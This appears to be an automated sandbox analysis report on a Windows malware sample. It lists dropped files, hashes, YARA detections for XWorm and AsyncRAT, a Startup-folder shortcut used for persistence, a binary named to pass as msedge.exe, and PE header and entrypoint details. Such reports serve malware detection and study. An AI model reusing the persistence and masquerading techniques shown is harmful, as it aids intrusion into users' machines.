C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3wpoattn.gyp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cetgemtj.brj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fyest5qu.alf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h2odast5.lz5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hr0pfgtv.ayr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4wbibl1.kuf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lllx1qff.k55.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rk1gblju.qcc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1p0nrfp.nrl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t22p1hz4.nho.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhvg0vpa.00w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urg4fxgu.qwh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqkljunn.g0t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yatloc00.bti.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dddd.exe

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	819200
Entropy (8bit):	5.598261375667174
Encrypted:	false
SSDEEP:	12288:qhd8cjaLXVh84wEFkW1mocaBj6WtiRPpptHxQ0z:2ycjar84w5W4ocaBj6y2tHDz
MD5:	02C70D9D6696950C198DB93B7F6A835E
SHA1:	30231A467A49CC37768EEA0F55F4BEA1CBFB48E2
SHA-256:	8F2E28588F2303BD8D7A9B0C3FF6A9CB16FA93F8DDC9C5E0666A8C12D6880EE3
SHA-512:	431D9B9918553BFF4F4A5BC2A5E7B7015F8AD0E2D390BB4D5264D08983372424156524EF5587B24B67D1226856FC630AACA08EDC8113097E0094501B4F08EFEB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....5g.........."......v............... ....@...... ....................................`.................................................4...T.......u............................................................................................ ..H............text....t... ...v.................. ..`.rsrc...u............x..............@..@.reloc...............~..............@..BH...........\|............................................................0..R.......(....:....r...p(....r...po....:-...r-..pr&..p.. (.....@....r...pr<..p(....(....&.......0..........rL..prT..p.(....s....%.o....%.o....%.o....%.o.....s.......o.....o....&.o....o......(....9.....o....o.............9.....o.............8.8p.......0..8.......r\..p.......%...%.r^..p.%...%.r...p.%...%.r...p.(...........(....~....%:....&~.........s....%.....(...+...0..l.........(....r...p(....(....r\..p.

C:\Users\user\AppData\Local\Temp\hfdpzcz6

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Local\Temp\msedge.exe

Download File

Process:	C:\Users\user\Desktop\YgJ5inWPQO.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	6.0557840174909385
Encrypted:	false
SSDEEP:	1536:S2q2+SuMeXA5gBQsGQ17zcaIcbml5eUwqo/wc/D6X0i3KOOtJHcA+:SV23ua0VKcbml5vje/Zi3FOtJ/+
MD5:	A3B7B97F81C08C56A79971799B793072
SHA1:	400525C81A140BEB77C035C95480D40B64496F8E
SHA-256:	68A5C3157A890D65AE1836EF3794A757D9F1F06559CCF174E7B0E6293ADA8925
SHA-512:	967E096C8091968CE0B2D53DFF0632B0CDC34D8B11E34C7F5CE8CEDD853D860F059E51318ECFD564BA0545A4304AFCCC8B4567BE777A2D55BB4C761E91F1F8DA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\msedge.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\msedge.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\msedge.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]g.................>...........\... ...`....@.. ....................................@.................................d\..W....`............................................................................... ............... ..H............text....<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B.................\......H........b..........&.....................................................(.....r...p. .x!...(.....r...p. ..A..s.........s.........s.........s..........r...p. .+u..rV..p. j....r...p. }&...r...p. S....ro..p. p{...((....r...p. ....r...p. +.)..(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(Z..."(....+.&(....&+..+5sk... .... .'..ol...(,...~....-.(_...(Q...~....om...&.-..rp..p. ~.H..r...p. .....r...p. ..?..rk..p. ..e..r...p.r...p.rf..p.r...p. ..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\msedge.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Dec 20 17:04:28 2024, mtime=Fri Dec 20 17:04:28 2024, atime=Fri Dec 20 17:04:28 2024, length=83968, window=hide
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.065956055628723
Encrypted:	false
SSDEEP:	12:8PFsh64MukChJfyY//4Jx1SLAlidsldHTjABuHlyfHN2Nh2NfmV:8PCMDIJWsa/Arl2/25m
MD5:	61AC4C10C25A99BF2169DFA8059105D0
SHA1:	CEE4073D2FB36C42C2118406580E7DCB54A04EA0
SHA-256:	6E60B247338124F045B193447EA1C9A60A3DEAEB75577CA7CDDA3EF817DA2E1B
SHA-512:	F8E3B6EB7A09CD3156B4B1F994CCCAD16205C903F8B062A581F4FC879348762F09EED094E0B6B08457CC52E5261A6F6B6FE404972077926878E8BF62363B2765
Malicious:	false
Preview:	L..................F.... ........S.......S.......S...H........................:..DG..Yr?.D..U..k0.&...&.......y.Yd...;.i.S..`....S......t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B.Ye...........................d...A.p.p.D.a.t.a...B.V.1......Yb...Roaming.@......EW)B.Yb.............................x.R.o.a.m.i.n.g.....l.2..H...Y.. .SYSTEM~1.EXE..P......Y...Y.............................N..S.y.s.t.e.m. .U.s.e.r...e.x.e.......^...............-.......]...........G.QI.....C:\Users\user\AppData\Roaming\System User.exe........\.....\.....\.....\.....\.S.y.s.t.e.m. .U.s.e.r...e.x.e.`.......X.......179605...........hT..CrF.f4... .yS......,...E...hT..CrF.f4... .yS......,...E..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\System User.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\msedge.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	6.0557840174909385
Encrypted:	false
SSDEEP:	1536:S2q2+SuMeXA5gBQsGQ17zcaIcbml5eUwqo/wc/D6X0i3KOOtJHcA+:SV23ua0VKcbml5vje/Zi3FOtJ/+
MD5:	A3B7B97F81C08C56A79971799B793072
SHA1:	400525C81A140BEB77C035C95480D40B64496F8E
SHA-256:	68A5C3157A890D65AE1836EF3794A757D9F1F06559CCF174E7B0E6293ADA8925
SHA-512:	967E096C8091968CE0B2D53DFF0632B0CDC34D8B11E34C7F5CE8CEDD853D860F059E51318ECFD564BA0545A4304AFCCC8B4567BE777A2D55BB4C761E91F1F8DA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\System User.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\System User.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\System User.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....]g.................>...........\... ...`....@.. ....................................@.................................d\..W....`............................................................................... ............... ..H............text....<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B.................\......H........b..........&.....................................................(.....r...p. .x!...(.....r...p. ..A..s.........s.........s.........s..........r...p. .+u..rV..p. j....r...p. }&...r...p. S....ro..p. p{...((....r...p. ....r...p. +.)..(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(Z..."(....+.&(....&+..+5sk... .... .'..ol...(,...~....-.(_...(Q...~....om...&.-..rp..p. ~.H..r...p. .....r...p. ..?..rk..p. ..e..r...p.r...p.rf..p.r...p. ..

C:\Users\user\Desktop\DISCORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\dddd.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.081427527984575
Encrypted:	false
SSDEEP:	3:XSWHlkHFWKBgdvHvIhN9GIxFf9oQg652UTF/HLMl1m:XSWHlW0aivQLkWFfx/52uyPm
MD5:	B016DAFCA051F817C6BA098C096CB450
SHA1:	4CC74827C4B2ED534613C7764E6121CEB041B459
SHA-256:	B03C8C2D2429E9DBC7920113DEDF6FC09095AB39421EE0CC8819AD412E5D67B9
SHA-512:	D69663E1E81EC33654B87F2DFADDD5383681C8EBF029A559B201D65EB12FA2989FA66C25FA98D58066EAB7B897F0EEF6B7A68FA1A9558482A17DFED7B6076ACA
Malicious:	false
Preview:	{. "args" : {. "code" : "8PgspRYAQu". },. "cmd" : "INVITE_BROWSER",. "nonce" : ".". }

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.37224651035039
Encrypted:	false
SSDEEP:	6144:tFVfpi6ceLP/9skLmb0qyWWSPtaJG8nAge35OlMMhA2AX4WABlguNtiL:7V18yWWI/glMM6kF7Pq
MD5:	0F0113D63B19434A9E16332268EDFFB1
SHA1:	568521B5DB7B81D25D1EEB495ECBE47D2F89CEE0
SHA-256:	6B627B482306A0F7F068F668AF9BD4F479E577DDDCCEC0B15831F99DA5AC70CD
SHA-512:	4C203A0512F435E53E36551E9D61CD81979604B5EF704C91141CB71E499E1EBCA080070FB48B13B69AB14616740819C70EB37171B1B1E2B30D08BB8A6735D864
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.{.x.S..............................................................................................................................................................................................................................................................................................................................................Ur.L........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\dddd.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	571
Entropy (8bit):	4.9398118662542965
Encrypted:	false
SSDEEP:	12:t+3p+t/hQAOfVaOQsXCzLQ8X+UwkY1v3igBe:Yot/h+ltcQy+UwkY1vdBe
MD5:	5294778E41EE83E1F1E78B56466AD690
SHA1:	348B8B4687216D57B8DF59BBCEC481DC9D1E61A6
SHA-256:	3AC122288181813B83236E1A2BCB449C51B50A3CA4925677A38C08B2FC6DF69C
SHA-512:	381FB6F3AA34E41C17DB3DD8E68B85508F51A94B3E77C479E40AD074767D1CEAE89B6E04FB7DD3D02A74D1AC3431B30920860A198C73387A865051538AE140F1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: \Device\ConDrv, Author: Joe Security
Preview:	.............................................................------------------------.. ..[-] Fetching endpoint.....[-] Bootstrapper up to date...[-] Killing conflicting processes.....[-] Ensuring essential directories.....[-] Ensuring essential dependencies.....[-] Downloading node......Unhandled Exception: System.Net.WebException: The operation has timed out.. at System.Net.WebClient.DownloadFile(Uri address, String fileName).. at Program.DownloadAndInstallNode().. at Program.EnsureDependencies().. at Program.Main(String[] args).

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.983672506604139
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	YgJ5inWPQO.exe
File size:	7'714'025 bytes
MD5:	abbb4a5a77f9cf1530d24710a621026c
SHA1:	a8b3f3d965202dfd6b7a9cc10963c0cfccf35682
SHA256:	fdd53599267201df460d004d399609274c7f0ba5342004d5c73e817f33a670a2
SHA512:	d7018660bc562a089b28b4d28424dc4e82c862cd90917ecd7e2de89aa283c2e66a909d7e50b2bb492dd741aee54878c1f5b64eeebe7e4ac1ce45031e2ef0bcd1
SSDEEP:	196608:5RKqV783kdaXMCHGLLc54i1wN+DrRRu7NtbFRKnZMZDYhmh1wlxN8:XKqV7/cXMCHWUj7rRQ7XbFsn6ZUEWN
TLSH:	AE76231503E110FBDF62063CF4E0AA35C1FC6AE56B61CEC6ABB45566EE23ACC59E4D10
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d..

File Icon


Icon Hash:	f0e1d4f0d0e972c7

Static PE Info

General

Entrypoint:	0x14000ce20
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6764E65D [Fri Dec 20 03:37:01 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FB28D049CBCh
dec eax
add esp, 28h
jmp 00007FB28D0498DFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FB28D04A088h
test eax, eax
je 00007FB28D049A83h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FB28D049A67h
dec eax
cmp ecx, eax
je 00007FB28D049A76h
xor eax, eax
dec eax
cmpxchg dword ptr [0003570Ch], ecx
jne 00007FB28D049A50h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FB28D049A59h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FB28D049A69h
mov byte ptr [000356F5h], 00000001h
call 00007FB28D0491B5h
call 00007FB28D04A4A0h
test al, al
jne 00007FB28D049A66h
xor al, al
jmp 00007FB28D049A76h
call 00007FB28D056FBFh
test al, al
jne 00007FB28D049A6Bh
xor ecx, ecx
call 00007FB28D04A4B0h
jmp 00007FB28D049A4Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000356BCh], 00000000h
mov ebx, ecx
jne 00007FB28D049AC9h
cmp ecx, 01h
jnbe 00007FB28D049ACCh
call 00007FB28D049FFEh
test eax, eax
je 00007FB28D049A8Ah
test ebx, ebx
jne 00007FB28D049A86h
dec eax
lea ecx, dword ptr [000356A6h]
call 00007FB28D056DB2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca34	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x399a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2238	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x81000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f70	0x2a000	b8c3814c5fb0b18492ad4ec2ffe0830a	False	0.5518740699404762	data	6.489205819736506	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a28	0x12c00	71826b47a5757e783ac2554e4fac4d07	False	0.5242838541666667	data	5.750761883018192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
